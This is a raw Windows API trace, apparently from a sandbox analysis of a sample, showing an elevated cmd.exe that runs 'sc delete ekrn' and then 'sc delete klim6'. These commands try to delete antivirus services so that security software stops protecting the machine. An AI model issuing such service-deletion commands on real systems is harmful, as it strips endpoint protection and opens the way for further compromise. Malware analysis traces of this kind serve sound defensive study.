lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.390] GetProcessHeap () returned 0x4a0000 [0072.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.390] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.391] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.392] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.392] GetProcessHeap () returned 0x4a0000 [0072.392] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.392] GetProcessHeap () returned 0x4a0000 [0072.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.392] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete ekrn", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete ekrn", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete ekrn", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x874, dwThreadId=0x884)) returned 1 [0072.396] CloseHandle (hObject=0x54) returned 1 [0072.396] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.396] GetProcessHeap () returned 0x4a0000 [0072.396] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.396] GetEnvironmentStringsW () returned 0x4c1b10* [0072.396] GetProcessHeap () returned 0x4a0000 [0072.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.396] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.396] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.396] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.397] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0072.441] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.441] CloseHandle (hObject=0x50) returned 1 [0072.441] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.441] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.441] GetProcessHeap () returned 0x4a0000 [0072.441] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.441] GetEnvironmentStringsW () returned 0x4c1b10* [0072.441] GetProcessHeap () returned 0x4a0000 [0072.441] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.441] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.441] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.441] GetProcessHeap () returned 0x4a0000 [0072.441] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.441] GetEnvironmentStringsW () returned 0x4c1b10* [0072.442] GetProcessHeap () returned 0x4a0000 [0072.442] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.442] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.442] GetProcessHeap () returned 0x4a0000 [0072.442] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.442] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.442] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.443] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.443] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.443] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.443] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.443] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.443] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.443] GetConsoleOutputCP () returned 0x1b5 [0072.443] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.443] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.443] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.444] GetProcessHeap () returned 0x4a0000 [0072.444] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.444] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.444] GetFileType (hFile=0x120) returned 0x3 [0072.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.444] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.444] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.444] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.444] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.444] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.445] GetFileType (hFile=0x120) returned 0x3 [0072.445] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.445] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.445] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] GetFileType (hFile=0xb8) returned 0x3 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.445] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.445] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.445] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.445] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" ekrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.446] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="kkrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.447] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lrn\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.447] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="in\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.447] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="m\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.447] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.447] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] GetFileType (hFile=0xb8) returned 0x3 [0072.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.448] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.448] GetFileType (hFile=0x120) returned 0x3 [0072.448] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.448] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klim6\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klim6\n", lpUsedDefaultChar=0x0) returned 17 [0072.448] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x10, lpOverlapped=0x0) returned 1 [0072.448] GetProcessHeap () returned 0x4a0000 [0072.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.448] GetProcessHeap () returned 0x4a0000 [0072.448] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.448] GetProcessHeap () returned 0x4a0000 [0072.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.448] GetProcessHeap () returned 0x4a0000 [0072.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.448] GetProcessHeap () returned 0x4a0000 [0072.448] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2c) returned 0x4b6510 [0072.448] GetConsoleOutputCP () returned 0x1b5 [0072.448] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.448] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 